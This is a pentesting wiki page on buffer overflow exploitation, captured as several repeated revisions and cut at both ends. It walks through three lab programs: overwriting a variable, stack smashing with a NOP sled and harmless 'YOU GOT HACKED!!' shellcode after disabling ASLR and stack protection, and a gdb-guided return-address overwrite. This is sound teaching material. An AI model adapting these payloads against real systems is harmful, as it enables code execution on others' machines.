function(1, 2, 3);
}
</pre>
Compile the source code into a 32-bit binary executable. Note that the compiler would prevent the usage of gets() unless explicitly instructed to ignore the warning using -Wno-implicit-function-declaration.
<pre>
gcc -m32 -Wno-implicit-function-declaration -o stack-overflow stack-overflow.c
</pre>
Open the binary with gdb, insert a breakpoint at the start of the main function and run the program until that first breakpoint.
<pre>
gdb stack-overflow
break main
run
</pre>
Since this binary was not compiled with the -g flag, one cannot list the C source code. Instead, it is possible to disassemble the executable byte code. One can then read the program in assembly language and insert breakpoints at respective instructions.
<pre>
disassemble main
</pre>
Examine the disassembled main function and find the call to function. Note how the stack is prepared (arguments pushed) before function is called.
<pre>
Dump of assembler code for function main:
0x56556203 <+0>: lea ecx,[esp+0x4]
0x56556207 <+4>: and esp,0xfffffff0
0x5655620a <+7>: push DWORD PTR [ecx-0x4]
0x5655620d <+10>: push ebp
0x5655620e <+11>: mov ebp,esp
0x56556210 <+13>: push ecx
=> 0x56556211 <+14>: sub esp,0x4
0x56556214 <+17>: call 0x5655623c <__x86.get_pc_thunk.ax>
0x56556219 <+22>: add eax,0x2ddb
0x5655621e <+27>: sub esp,0x4
0x56556221 <+30>: push 0x3
0x56556223 <+32>: push 0x2
0x56556225 <+34>: push 0x1
0x56556227 <+36>: call 0x565561ad <function>
0x5655622c <+41>: add esp,0x10
0x5655622f <+44>: mov eax,0x0
0x56556234 <+49>: mov ecx,DWORD PTR [ebp-0x4]
0x56556237 <+52>: leave
0x56556238 <+53>: lea esp,[ecx-0x4]
0x5655623b <+56>: ret
</pre>
Disassemble the function "function".
<pre>
disassemble function
</pre>
Find the call to gets.
<pre>
Dump of assembler code for function function:
0x565561ad <+0>: push ebp
0x565561ae <+1>: mov ebp,esp
0x565561b0 <+3>: push ebx
0x565561b1 <+4>: sub esp,0x14
0x565561b4 <+7>: call 0x5655623c <__x86.get_pc_thunk.ax>
0x565561b9 <+12>: add eax,0x2e3b
0x565561be <+17>: sub esp,0xc
0x565561c1 <+20>: lea edx,[ebp-0xd]
0x565561c4 <+23>: push edx
0x565561c5 <+24>: mov ebx,eax
0x565561c7 <+26>: call 0x56556050 <gets@plt>
0x565561cc <+31>: add esp,0x10
0x565561cf <+34>: nop
0x565561d0 <+35>: mov ebx,DWORD PTR [ebp-0x4]
0x565561d3 <+38>: leave
0x565561d4 <+39>: ret
</pre>
Insert a breakpoint at the instruction right after the call to gets. Later, the stack will be examined after the user input has happened. Then continue execution and enter some 'A' characters as user input.
<pre>
break *0x565561cc
continue
</pre>
Examine the current state of the CPU's registers.
<pre>
info registers
</pre>

<pre>
...
esp 0xffffcc50 0xffffcc50
ebp 0xffffcc78 0xffffcc78
...
eip 0x565561cc 0x565561cc <function+31>
...
</pre>
Inspect the current stack frame.
<pre>
info frame
</pre>
Note the saved EIP, which is also called ret or return pointer. This is the instruction address, that will be used to restore EIP with, once the function has finished executing and returns to it's caller.
<pre>
...
eip = 0x565561cc in function; saved eip = 0x5655622c
...
</pre>
One can examine which instruction is saved at that address.
<pre>
x/i 0x5655622c
</pre>
Confirm that it is actually the one right after the function call in <main> by looking at the disassembled main function again.
<pre>
disassemble main
</pre>
Now examine the stack to find the 'A' characters from the user input. Start from the address that EBP points to on the stack. It does not change during execution of the function and provides a good reference point.
<pre>
x/8xw $ebp
</pre>
Note that one can observe the saved frame pointer, sfp, which will be used to restore EBP once the function returns. This is the first word starting from the address that EBP points to. The second word is the return pointer. Afterwards, one can see the functions input arguments, as they have been pushed on the stack as part of the function prologue.
<pre>
0xffffcc78: 0xffffcc98 0x5655622c 0x00000001 0x00000002
0xffffcc88: 0x00000003 ... ... ...
</pre>
Now examine the stack further, subtracting from the address of ebp in order to find the buffer.
<pre>
x/8xw $ebp - 16
</pre>
<pre>
0xffffcc68: 0x41000000 0x00414141 0x00000000 0xf7f9ae14
0xffffcc78: 0xffffcc98 0x5655622c 0x00000001 0x00000002
</pre>
Alternatively, look at the output per byte.
<pre>
x/24xb $ebp - 16
</pre>
<pre>
0xffffcc68: 0x00 0x00 0x00 0x41 0x41 0x41 0x41 0x00
0xffffcc70: 0x00 0x00 0x00 0x00 0x14 0xae 0xf9 0xf7
0xffffcc78: 0x98 0xcc 0xff 0xff 0x2c 0x62 0x55 0x56
</pre>

Find the start of the buffer, the first occurrence of the character 'A' in ASCII-representation 0x41. Calculate the distance to the return pointer: 17 bytes. Note that one would need to fill the buffer space with 17 bytes before one could start overwriting the return pointer.

Now one only needs to find the address of the winner function, which can be used to overwrite the return pointer with. Using the info functions command with the additional search string "winner" will return the address of the function winner.
<pre>
info functions winner
</pre>
<pre>
All functions matching regular expression "winner":
...
0x565561d5 winner
</pre>
Note down the address and begin writing the exploit outside of gdb. Use the exit command to exit from gdb.

Use echo with the flags -n and -e to write raw bytes to a file. The bytestring will contain 17 'A' characters and the bytes that make up the address of winner. These will be written to memory in reverse order, since on a little endian system each word will be interpreted in a way that assigns the lowest address byte to the least significant byte of the word.
<pre>
echo -ne '\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xd5\x61\x55\x56' > exploit.bin
</pre>
Assert that the bytes were written correctly to the file and, if necessary, make changes to it.
<pre>
hexdump -C exploit.bin
hexeditor exploit.bin
</pre>
<pre>
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
00000010 41 d5 61 55 56 |A.aUV|
00000015
</pre>
Run the program supplying the exploit file to it as user input.
<pre>
./stack-overflow < exploit.bin
</pre>
<pre>
Congratulations! You manipulated the flow of execution.
</pre>

== References ==

* https://phrack.org/issues/49/14.html
* https://git.fh-campuswien.ac.at/CampusCyberSecurityTeam/ccst/-/tree/master/buffer_overflow

[[Category:Pentesting]]

Binary Exploitation (Buffer Overflow)

2024-12-11T18:03:38Z

AKofranek: /* Example 3 */

== Summary ==

This Pentesting documentation features [ANZAHL] examples, on how to exploit a binary with a buffer overflow.

The examples range from very simple ones to more advanced and complex versions.

== Requirements ==

* Operating system: Linux
* Packages: GNU Compiler Collection (GCC), GNU Debugger (GDB)

In order to complete these steps, you must have followed [[Buffer Overflows]] before.

The theoretical part is required to understand basic concepts needed for the examples.

== Description ==

All examples were created in Linux and written in C. To compile the C Code into an executable program the GNU Compiler Collection was used.

<pre>
sudo apt update
sudo apt install gcc-multilib
</pre>

=== Example 1 ===

This example is quite simple and should only demonstrate that a buffer overflow is possible in general. The buffer itself has a fixed length of 8 bytes. The user input is written to the buffer with the gets() function, which doesn’t check boundaries. Any input that is longer than 8 characters will therefore overwrite what comes after it. In this case the volatile integer will get overwritten. The program acts as a game and reveals a flag if the integer is successfully changed.

The program was compiled with this command:

<pre>
gcc -Wno-implicit-function-declaration -o overflow1 overflow1.c
</pre>

Input smaller than 8 ➜ program exits

[[File:Example1-small.png | 900px]]

Input bigger than 8 ➜ flag

[[File:Example1-enough.png | 900px]]

This is the code in C:

<pre>
#include <stdio.h>

int main() {
volatile int secret_treasure = 0;
char buffer[8];

printf("Welcome to the Treasure Hunt!\n");
printf("The buffer is set to 8. If you exceed this limit, you may reveal the treasure!\n");
printf("Initially, the treasure status is hidden...\n\n");

printf("Enter your code: ");
gets(buffer);

if (secret_treasure != 0) {
printf("\n**** Treasure Found! ****\n");
printf("Your treasure is: FLAG{BUFFER OVERFLOW}\n");
} else {
printf("\nSorry, your code was too small. No treasure found.\n");
}

return 0;
}
</pre>

=== Example 2 ===

This example uses a special method of buffer overflows called “stack smashing”. The goal is to execute shellcode by redirecting the execution flow. The return addres will be altered to the start of the buffer.

Since we work with exact addresses, we first disable ASLR for this session. Now the addresses won’t change anymore.

<pre>
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
</pre>

The program expects an argument as input. This argument will be copied to the buffer with the strcpy() function. Again, no bounds checking. If the input no not long enough to reach the return address, the program will exit normally. To simplify the search of finding the exact address of the buffer, the program will print the address for us.

This is the code in C:

<pre>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void vuln(char *input) {
char buffer[256];

printf("Buffer address: %p\n", (void *)buffer);

strcpy(buffer, input);
}

int main(int argc, char *argv[]) {
if (argc != 2) {
printf("Usage: %s <input>\n", argv[0]);
return 1;
}

vuln(argv[1]);

printf("Function executed without crashing.\n");
return 0;
}
</pre>

To compile the C code into a program the following command is used.

<pre>
gcc -m32 -no-pie -fno-stack-protector -z execstack -Wno-implicit-function-declaration vulnerable.c -o vulnerable
</pre>

# -m32 ➜ 32-bit file
# -no-pie ➜ start at a fixed address
# -fno-stack-protector ➜ disable canaries
# -z execstack ➜ make the stack executable
# -Wno-implicit-function-declaration ➜ supress warnings

The exploit itself is a python code which is passed as an argument to the program. The offset (padding) are the missing bytes to reach the return address. It can be calculated with the help of a pattern and the GNU Debugger (GDB). With this exact payload a padding of 134 is needed.

The return address will be the address of the buffer. Since the program prints the buffers address, we already know it. If the buffer address is not known in advance, a NOP sled can help to enhance the chance of hitting a possible address. As long as it returns to somewhere in the 100 NOPs, the shellcode will get executed.

While the shellcode would normally create a reverse shell, it only prints „YOU GOT HACKED!!“ to the terminal in our case. It is written in Hexadecimal and represents Assembly. Since little-endian is used, it has to be pushed to the stack in reverse order.

This is the code of the exploit in Python:

<pre>
import sys

nop_sled = b"\x90" * 100

shellcode = (
b"\x31\xc0\xb0\x04\x31\xdb\xb3\x01"
b"\x68\x45\x44\x21\x21" # !!DE
b"\x68\x48\x41\x43\x4b" # HACK
b"\x68\x47\x4f\x54\x20" # GOT
b"\x68\x59\x4f\x55\x20" # YOU
b"\x89\xe1\xb2\x0f\xcd\x80" # write
)

padding = b"A" * 134

return_address = b"\xb0\xcd\xff\xff"

payload = nop_sled + shellcode + padding + return_address

sys.stdout.buffer.write(payload)
</pre>

The exploit can be both, a python script and a perl command.

Python:

<pre>
./vulnerable "$(python3 exploit.py)"
</pre>

Perl:

<pre>
./vulnerable "$(perl -e 'print "\x90"x100 . "\x31\xc0\xb0\x04\x31\xdb\xb3\x01\x68\x45\x44\x21\x21\x68\x48\x41\x43\x4b\x68\x47\x4f\x54\x20\x68\x59\x4f\x55\x20\x89\xe1\xb2\x10\xcd\x80" . "A"x134 . "\xa0\xcd\xff\xff"')"
</pre>

Here is the String of our shellcode.
Since the shellcode is never terminated, the whole stack is printed.

[[File:Example2-hacked.png | 900px]]

=== Example 3: Control Flow Alteration by Stack Overflow Exploitation ===
The following program is vulnerable to stack-based buffer overflows due to the usage of
the insecure gets()-function. gets() is used to write user input into a character array. In
the source code, a function called winner() is defined, which is never called in main().
The objective of the following demonstration is to manipulate the execution flow in a
way that will force the program to execute the winner() function. To achieve that, the
saved return pointer from the stack frame of function will have to be overwritten with
the address of the winner function. Firstly, examine the source:
<pre>
#include <stdio.h>
#include <stdlib.h>

void function(int a, int b, int c) {
char buffer[5];
gets(buffer);
}

void winner(){
printf("Congratulations! You manipulated the execution flow.");
exit(0);
}

int main() {
function(1, 2, 3);
}
</pre>
Compile the source code into a 32-bit binary executable. Note that the compiler would prevent the usage of gets() unless explicitly instructed to ignore the warning using -Wno-implicit-function-declaration.
<pre>
gcc -m32 -Wno-implicit-function-declaration -o stack-overflow stack-overflow.c
</pre>
Open the binary with gdb, insert a breakpoint at the start of the main function and run the program until that first breakpoint.
<pre>
gdb stack-overflow
break main
run
</pre>
Since this binary was not compiled with the -g flag, one cannot list the C source code. Instead, it is possible to disassemble the executable byte code. One can then read the program in assembly language and insert breakpoints at respective instructions.
<pre>
disassemble main
</pre>
Examine the disassembled main function and find the call to function. Note how the stack is prepared (arguments pushed) before function is called.
<pre>
Dump of assembler code for function main:
0x56556203 <+0>: lea ecx,[esp+0x4]
0x56556207 <+4>: and esp,0xfffffff0
0x5655620a <+7>: push DWORD PTR [ecx-0x4]
0x5655620d <+10>: push ebp
0x5655620e <+11>: mov ebp,esp
0x56556210 <+13>: push ecx
=> 0x56556211 <+14>: sub esp,0x4
0x56556214 <+17>: call 0x5655623c <__x86.get_pc_thunk.ax>
0x56556219 <+22>: add eax,0x2ddb
0x5655621e <+27>: sub esp,0x4
0x56556221 <+30>: push 0x3
0x56556223 <+32>: push 0x2
0x56556225 <+34>: push 0x1
0x56556227 <+36>: call 0x565561ad <function>
0x5655622c <+41>: add esp,0x10
0x5655622f <+44>: mov eax,0x0
0x56556234 <+49>: mov ecx,DWORD PTR [ebp-0x4]
0x56556237 <+52>: leave
0x56556238 <+53>: lea esp,[ecx-0x4]
0x5655623b <+56>: ret
</pre>
Disassemble the function "function".
<pre>
disassemble function
</pre>
Find the call to gets.
<pre>
Dump of assembler code for function function:
0x565561ad <+0>: push ebp
0x565561ae <+1>: mov ebp,esp
0x565561b0 <+3>: push ebx
0x565561b1 <+4>: sub esp,0x14
0x565561b4 <+7>: call 0x5655623c <__x86.get_pc_thunk.ax>
0x565561b9 <+12>: add eax,0x2e3b
0x565561be <+17>: sub esp,0xc
0x565561c1 <+20>: lea edx,[ebp-0xd]
0x565561c4 <+23>: push edx
0x565561c5 <+24>: mov ebx,eax
0x565561c7 <+26>: call 0x56556050 <gets@plt>
0x565561cc <+31>: add esp,0x10
0x565561cf <+34>: nop
0x565561d0 <+35>: mov ebx,DWORD PTR [ebp-0x4]
0x565561d3 <+38>: leave
0x565561d4 <+39>: ret
</pre>
Insert a breakpoint at the instruction right after the call to gets. Later, the stack will be examined after the user input has happened. Then continue execution and enter some 'A' characters as user input.
<pre>
break *0x565561cc
continue
</pre>
Examine the current state of the CPU's registers.
<pre>
info registers
</pre>

<pre>
...
esp 0xffffcc50 0xffffcc50
ebp 0xffffcc78 0xffffcc78
...
eip 0x565561cc 0x565561cc <function+31>
...
</pre>
Inspect the current stack frame.
<pre>
info frame
</pre>
Note the saved EIP, which is also called ret or return pointer. This is the instruction address, that will be used to restore EIP with, once the function has finished executing and returns to it's caller.
<pre>
...
eip = 0x565561cc in function; saved eip = 0x5655622c
...
</pre>
One can examine which instruction is saved at that address.
<pre>
x/i 0x5655622c
</pre>
Confirm that it is actually the one right after the function call in <main> by looking at the disassembled main function again.
<pre>
disassemble main
</pre>
Now examine the stack to find the 'A' characters from the user input. Start from the address that EBP points to on the stack. It does not change during execution of the function and provides a good reference point.
<pre>
x/8xw $ebp
</pre>
Note that one can observe the saved frame pointer, sfp, which will be used to restore EBP once the function returns. This is the first word starting from the address that EBP points to. The second word is the return pointer. Afterwards, one can see the functions input arguments, as they have been pushed on the stack as part of the function prologue.
<pre>
0xffffcc78: 0xffffcc98 0x5655622c 0x00000001 0x00000002
0xffffcc88: 0x00000003 ... ... ...
</pre>
Now examine the stack further, subtracting from the address of ebp in order to find the buffer.
<pre>
x/8xw $ebp - 16
</pre>
<pre>
0xffffcc68: 0x41000000 0x00414141 0x00000000 0xf7f9ae14
0xffffcc78: 0xffffcc98 0x5655622c 0x00000001 0x00000002
</pre>
Alternatively, look at the output per byte.
<pre>
x/24xb $ebp - 16
</pre>
<pre>
0xffffcc68: 0x00 0x00 0x00 0x41 0x41 0x41 0x41 0x00
0xffffcc70: 0x00 0x00 0x00 0x00 0x14 0xae 0xf9 0xf7
0xffffcc78: 0x98 0xcc 0xff 0xff 0x2c 0x62 0x55 0x56
</pre>

Find the start of the buffer, the first occurrence of the character 'A' in ASCII-representation 0x41. Calculate the distance to the return pointer: 17 bytes. Note that one would need to fill the buffer space with 17 bytes before one could start overwriting the return pointer.

Now one only needs to find the address of the winner function, which can be used to overwrite the return pointer with. Using the info functions command with the additional search string "winner" will return the address of the function winner.
<pre>
info functions winner
</pre>
<pre>
All functions matching regular expression "winner":
...
0x565561d5 winner
</pre>
Note down the address and begin writing the exploit outside of gdb. Use the exit command to exit from gdb.

Use echo with the flags -n and -e to write raw bytes to a file. The bytestring will contain 17 'A' characters and the bytes that make up the address of winner. These will be written to memory in reverse order, since on a little endian system each word will be interpreted in a way that assigns the lowest address byte to the least significant byte of the word.
<pre>
echo -ne '\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xd5\x61\x55\x56' > exploit.bin
</pre>
Assert that the bytes were written correctly to the file and, if necessary, make changes to it.
<pre>
hexdump -C exploit.bin
hexeditor exploit.bin
</pre>
<pre>
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
00000010 41 d5 61 55 56 |A.aUV|
00000015
</pre>
Run the program supplying the exploit file to it as user input.
<pre>
./stack-overflow < exploit.bin
</pre>
<pre>
Congratulations! You manipulated the flow of execution.
</pre>

== References ==

* https://phrack.org/issues/49/14.html
* https://git.fh-campuswien.ac.at/CampusCyberSecurityTeam/ccst/-/tree/master/buffer_overflow

[[Category:Pentesting]]

Binary Exploitation (Buffer Overflow)

2024-12-11T18:02:07Z

AKofranek: /* Courses */

== Summary ==

This Pentesting documentation features [ANZAHL] examples, on how to exploit a binary with a buffer overflow.

The examples range from very simple ones to more advanced and complex versions.

== Requirements ==

* Operating system: Linux
* Packages: GNU Compiler Collection (GCC), GNU Debugger (GDB)

In order to complete these steps, you must have followed [[Buffer Overflows]] before.

The theoretical part is required to understand basic concepts needed for the examples.

== Description ==

All examples were created in Linux and written in C. To compile the C Code into an executable program the GNU Compiler Collection was used.

<pre>
sudo apt update
sudo apt install gcc-multilib
</pre>

=== Example 1 ===

This example is quite simple and should only demonstrate that a buffer overflow is possible in general. The buffer itself has a fixed length of 8 bytes. The user input is written to the buffer with the gets() function, which doesn’t check boundaries. Any input that is longer than 8 characters will therefore overwrite what comes after it. In this case the volatile integer will get overwritten. The program acts as a game and reveals a flag if the integer is successfully changed.

The program was compiled with this command:

<pre>
gcc -Wno-implicit-function-declaration -o overflow1 overflow1.c
</pre>

Input smaller than 8 ➜ program exits

[[File:Example1-small.png | 900px]]

Input bigger than 8 ➜ flag

[[File:Example1-enough.png | 900px]]

This is the code in C:

<pre>
#include <stdio.h>

int main() {
volatile int secret_treasure = 0;
char buffer[8];

printf("Welcome to the Treasure Hunt!\n");
printf("The buffer is set to 8. If you exceed this limit, you may reveal the treasure!\n");
printf("Initially, the treasure status is hidden...\n\n");

printf("Enter your code: ");
gets(buffer);

if (secret_treasure != 0) {
printf("\n**** Treasure Found! ****\n");
printf("Your treasure is: FLAG{BUFFER OVERFLOW}\n");
} else {
printf("\nSorry, your code was too small. No treasure found.\n");
}

return 0;
}
</pre>

=== Example 2 ===

This example uses a special method of buffer overflows called “stack smashing”. The goal is to execute shellcode by redirecting the execution flow. The return addres will be altered to the start of the buffer.

Since we work with exact addresses, we first disable ASLR for this session. Now the addresses won’t change anymore.

<pre>
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
</pre>

The program expects an argument as input. This argument will be copied to the buffer with the strcpy() function. Again, no bounds checking. If the input no not long enough to reach the return address, the program will exit normally. To simplify the search of finding the exact address of the buffer, the program will print the address for us.

This is the code in C:

<pre>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void vuln(char *input) {
char buffer[256];

printf("Buffer address: %p\n", (void *)buffer);

strcpy(buffer, input);
}

int main(int argc, char *argv[]) {
if (argc != 2) {
printf("Usage: %s <input>\n", argv[0]);
return 1;
}

vuln(argv[1]);

printf("Function executed without crashing.\n");
return 0;
}
</pre>

To compile the C code into a program the following command is used.

<pre>
gcc -m32 -no-pie -fno-stack-protector -z execstack -Wno-implicit-function-declaration vulnerable.c -o vulnerable
</pre>

# -m32 ➜ 32-bit file
# -no-pie ➜ start at a fixed address
# -fno-stack-protector ➜ disable canaries
# -z execstack ➜ make the stack executable
# -Wno-implicit-function-declaration ➜ supress warnings

The exploit itself is a python code which is passed as an argument to the program. The offset (padding) are the missing bytes to reach the return address. It can be calculated with the help of a pattern and the GNU Debugger (GDB). With this exact payload a padding of 134 is needed.

The return address will be the address of the buffer. Since the program prints the buffers address, we already know it. If the buffer address is not known in advance, a NOP sled can help to enhance the chance of hitting a possible address. As long as it returns to somewhere in the 100 NOPs, the shellcode will get executed.

While the shellcode would normally create a reverse shell, it only prints „YOU GOT HACKED!!“ to the terminal in our case. It is written in Hexadecimal and represents Assembly. Since little-endian is used, it has to be pushed to the stack in reverse order.

This is the code of the exploit in Python:

<pre>
import sys

nop_sled = b"\x90" * 100

shellcode = (
b"\x31\xc0\xb0\x04\x31\xdb\xb3\x01"
b"\x68\x45\x44\x21\x21" # !!DE
b"\x68\x48\x41\x43\x4b" # HACK
b"\x68\x47\x4f\x54\x20" # GOT
b"\x68\x59\x4f\x55\x20" # YOU
b"\x89\xe1\xb2\x0f\xcd\x80" # write
)

padding = b"A" * 134

return_address = b"\xb0\xcd\xff\xff"

payload = nop_sled + shellcode + padding + return_address

sys.stdout.buffer.write(payload)
</pre>

The exploit can be both, a python script and a perl command.

Python:

<pre>
./vulnerable "$(python3 exploit.py)"
</pre>

Perl:

<pre>
./vulnerable "$(perl -e 'print "\x90"x100 . "\x31\xc0\xb0\x04\x31\xdb\xb3\x01\x68\x45\x44\x21\x21\x68\x48\x41\x43\x4b\x68\x47\x4f\x54\x20\x68\x59\x4f\x55\x20\x89\xe1\xb2\x10\xcd\x80" . "A"x134 . "\xa0\xcd\xff\xff"')"
</pre>

Here is the String of our shellcode.
Since the shellcode is never terminated, the whole stack is printed.

[[File:Example2-hacked.png | 900px]]

=== Example 3 ===
The following program is vulnerable to stack-based buffer overflows due to the usage of
the insecure gets()-function. gets() is used to write user input into a character array. In
the source code, a function called winner() is defined, which is never called in main().
The objective of the following demonstration is to manipulate the execution flow in a
way that will force the program to execute the winner() function. To achieve that, the
saved return pointer from the stack frame of function will have to be overwritten with
the address of the winner function. Firstly, examine the source:
<pre>
#include <stdio.h>
#include <stdlib.h>

void function(int a, int b, int c) {
char buffer[5];
gets(buffer);
}

void winner(){
printf("Congratulations! You manipulated the execution flow.");
exit(0);
}

int main() {
function(1, 2, 3);
}
</pre>
Compile the source code into a 32-bit binary executable. Note that the compiler would prevent the usage of gets() unless explicitly instructed to ignore the warning using -Wno-implicit-function-declaration.
<pre>
gcc -m32 -Wno-implicit-function-declaration -o stack-overflow stack-overflow.c
</pre>
Open the binary with gdb, insert a breakpoint at the start of the main function and run the program until that first breakpoint.
<pre>
gdb stack-overflow
break main
run
</pre>
Since this binary was not compiled with the -g flag, one cannot list the C source code. Instead, it is possible to disassemble the executable byte code. One can then read the program in assembly language and insert breakpoints at respective instructions.
<pre>
disassemble main
</pre>
Examine the disassembled main function and find the call to function. Note how the stack is prepared (arguments pushed) before function is called.
<pre>
Dump of assembler code for function main:
0x56556203 <+0>: lea ecx,[esp+0x4]
0x56556207 <+4>: and esp,0xfffffff0
0x5655620a <+7>: push DWORD PTR [ecx-0x4]
0x5655620d <+10>: push ebp
0x5655620e <+11>: mov ebp,esp
0x56556210 <+13>: push ecx
=> 0x56556211 <+14>: sub esp,0x4
0x56556214 <+17>: call 0x5655623c <__x86.get_pc_thunk.ax>
0x56556219 <+22>: add eax,0x2ddb
0x5655621e <+27>: sub esp,0x4
0x56556221 <+30>: push 0x3
0x56556223 <+32>: push 0x2
0x56556225 <+34>: push 0x1
0x56556227 <+36>: call 0x565561ad <function>
0x5655622c <+41>: add esp,0x10
0x5655622f <+44>: mov eax,0x0
0x56556234 <+49>: mov ecx,DWORD PTR [ebp-0x4]
0x56556237 <+52>: leave
0x56556238 <+53>: lea esp,[ecx-0x4]
0x5655623b <+56>: ret
</pre>
Disassemble the function "function".
<pre>
disassemble function
</pre>
Find the call to gets.
<pre>
Dump of assembler code for function function:
0x565561ad <+0>: push ebp
0x565561ae <+1>: mov ebp,esp
0x565561b0 <+3>: push ebx
0x565561b1 <+4>: sub esp,0x14
0x565561b4 <+7>: call 0x5655623c <__x86.get_pc_thunk.ax>
0x565561b9 <+12>: add eax,0x2e3b
0x565561be <+17>: sub esp,0xc
0x565561c1 <+20>: lea edx,[ebp-0xd]
0x565561c4 <+23>: push edx
0x565561c5 <+24>: mov ebx,eax
0x565561c7 <+26>: call 0x56556050 <gets@plt>
0x565561cc <+31>: add esp,0x10
0x565561cf <+34>: nop
0x565561d0 <+35>: mov ebx,DWORD PTR [ebp-0x4]
0x565561d3 <+38>: leave
0x565561d4 <+39>: ret
</pre>
Insert a breakpoint at the instruction right after the call to gets. Later, the stack will be examined after the user input has happened. Then continue execution and enter some 'A' characters as user input.
<pre>
break *0x565561cc
continue
</pre>
Examine the current state of the CPU's registers.
<pre>
info registers
</pre>

<pre>
...
esp 0xffffcc50 0xffffcc50
ebp 0xffffcc78 0xffffcc78
...
eip 0x565561cc 0x565561cc <function+31>
...
</pre>
Inspect the current stack frame.
<pre>
info frame
</pre>
Note the saved EIP, which is also called ret or return pointer. This is the instruction address, that will be used to restore EIP with, once the function has finished executing and returns to it's caller.
<pre>
...
eip = 0x565561cc in function; saved eip = 0x5655622c
...
</pre>
One can examine which instruction is saved at that address.
<pre>
x/i 0x5655622c
</pre>
Confirm that it is actually the one right after the function call in <main> by looking at the disassembled main function again.
<pre>
disassemble main
</pre>
Now examine the stack to find the 'A' characters from the user input. Start from the address that EBP points to on the stack. It does not change during execution of the function and provides a good reference point.
<pre>
x/8xw $ebp
</pre>
Note that one can observe the saved frame pointer, sfp, which will be used to restore EBP once the function returns. This is the first word starting from the address that EBP points to. The second word is the return pointer. Afterwards, one can see the functions input arguments, as they have been pushed on the stack as part of the function prologue.
<pre>
0xffffcc78: 0xffffcc98 0x5655622c 0x00000001 0x00000002
0xffffcc88: 0x00000003 ... ... ...
</pre>
Now examine the stack further, subtracting from the address of ebp in order to find the buffer.
<pre>
x/8xw $ebp - 16
</pre>
<pre>
0xffffcc68: 0x41000000 0x00414141 0x00000000 0xf7f9ae14
0xffffcc78: 0xffffcc98 0x5655622c 0x00000001 0x00000002
</pre>
Alternatively, look at the output per byte.
<pre>
x/24xb $ebp - 16
</pre>
<pre>
0xffffcc68: 0x00 0x00 0x00 0x41 0x41 0x41 0x41 0x00
0xffffcc70: 0x00 0x00 0x00 0x00 0x14 0xae 0xf9 0xf7
0xffffcc78: 0x98 0xcc 0xff 0xff 0x2c 0x62 0x55 0x56
</pre>

Find the start of the buffer, the first occurrence of the character 'A' in ASCII-representation 0x41. Calculate the distance to the return pointer: 17 bytes. Note that one would need to fill the buffer space with 17 bytes before one could start overwriting the return pointer.

Now one only needs to find the address of the winner function, which can be used to overwrite the return pointer with. Using the info functions command with the additional search string "winner" will return the address of the function winner.
<pre>
info functions winner
</pre>
<pre>
All functions matching regular expression "winner":
...
0x565561d5 winner
</pre>
Note down the address and begin writing the exploit outside of gdb. Use the exit command to exit from gdb.

Use echo with the flags -n and -e to write raw bytes to a file. The bytestring will contain 17 'A' characters and the bytes that make up the address of winner. These will be written to memory in reverse order, since on a little endian system each word will be interpreted in a way that assigns the lowest address byte to the least significant byte of the word.
<pre>
echo -ne '\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xd5\x61\x55\x56' > exploit.bin
</pre>
Assert that the bytes were written correctly to the file and, if necessary, make changes to it.
<pre>
hexdump -C exploit.bin
hexeditor exploit.bin
</pre>
<pre>
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
00000010 41 d5 61 55 56 |A.aUV|
00000015
</pre>
Run the program supplying the exploit file to it as user input.
<pre>
./stack-overflow < exploit.bin
</pre>
<pre>
Congratulations! You manipulated the flow of execution.
</pre>

== References ==

* https://phrack.org/issues/49/14.html
* https://git.fh-campuswien.ac.at/CampusCyberSecurityTeam/ccst/-/tree/master/buffer_overflow

[[Category:Pentesting]]

Binary Exploitation (Buffer Overflow)

2024-12-11T18:01:59Z

AKofranek: /* Example 4 */

== Summary ==

This Pentesting documentation features [ANZAHL] examples, on how to exploit a binary with a buffer overflow.

The examples range from very simple ones to more advanced and complex versions.

== Requirements ==

* Operating system: Linux
* Packages: GNU Compiler Collection (GCC), GNU Debugger (GDB)

In order to complete these steps, you must have followed [[Buffer Overflows]] before.

The theoretical part is required to understand basic concepts needed for the examples.

== Description ==

All examples were created in Linux and written in C. To compile the C Code into an executable program the GNU Compiler Collection was used.

<pre>
sudo apt update
sudo apt install gcc-multilib
</pre>

=== Example 1 ===

This example is quite simple and should only demonstrate that a buffer overflow is possible in general. The buffer itself has a fixed length of 8 bytes. The user input is written to the buffer with the gets() function, which doesn’t check boundaries. Any input that is longer than 8 characters will therefore overwrite what comes after it. In this case the volatile integer will get overwritten. The program acts as a game and reveals a flag if the integer is successfully changed.

The program was compiled with this command:

<pre>
gcc -Wno-implicit-function-declaration -o overflow1 overflow1.c
</pre>

Input smaller than 8 ➜ program exits

[[File:Example1-small.png | 900px]]

Input bigger than 8 ➜ flag

[[File:Example1-enough.png | 900px]]

This is the code in C:

<pre>
#include <stdio.h>

int main() {
volatile int secret_treasure = 0;
char buffer[8];

printf("Welcome to the Treasure Hunt!\n");
printf("The buffer is set to 8. If you exceed this limit, you may reveal the treasure!\n");
printf("Initially, the treasure status is hidden...\n\n");

printf("Enter your code: ");
gets(buffer);

if (secret_treasure != 0) {
printf("\n**** Treasure Found! ****\n");
printf("Your treasure is: FLAG{BUFFER OVERFLOW}\n");
} else {
printf("\nSorry, your code was too small. No treasure found.\n");
}

return 0;
}
</pre>

=== Example 2 ===

This example uses a special method of buffer overflows called “stack smashing”. The goal is to execute shellcode by redirecting the execution flow. The return addres will be altered to the start of the buffer.

Since we work with exact addresses, we first disable ASLR for this session. Now the addresses won’t change anymore.

<pre>
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
</pre>

The program expects an argument as input. This argument will be copied to the buffer with the strcpy() function. Again, no bounds checking. If the input no not long enough to reach the return address, the program will exit normally. To simplify the search of finding the exact address of the buffer, the program will print the address for us.

This is the code in C:

<pre>
#include <stdio.h>
#include <string.h>
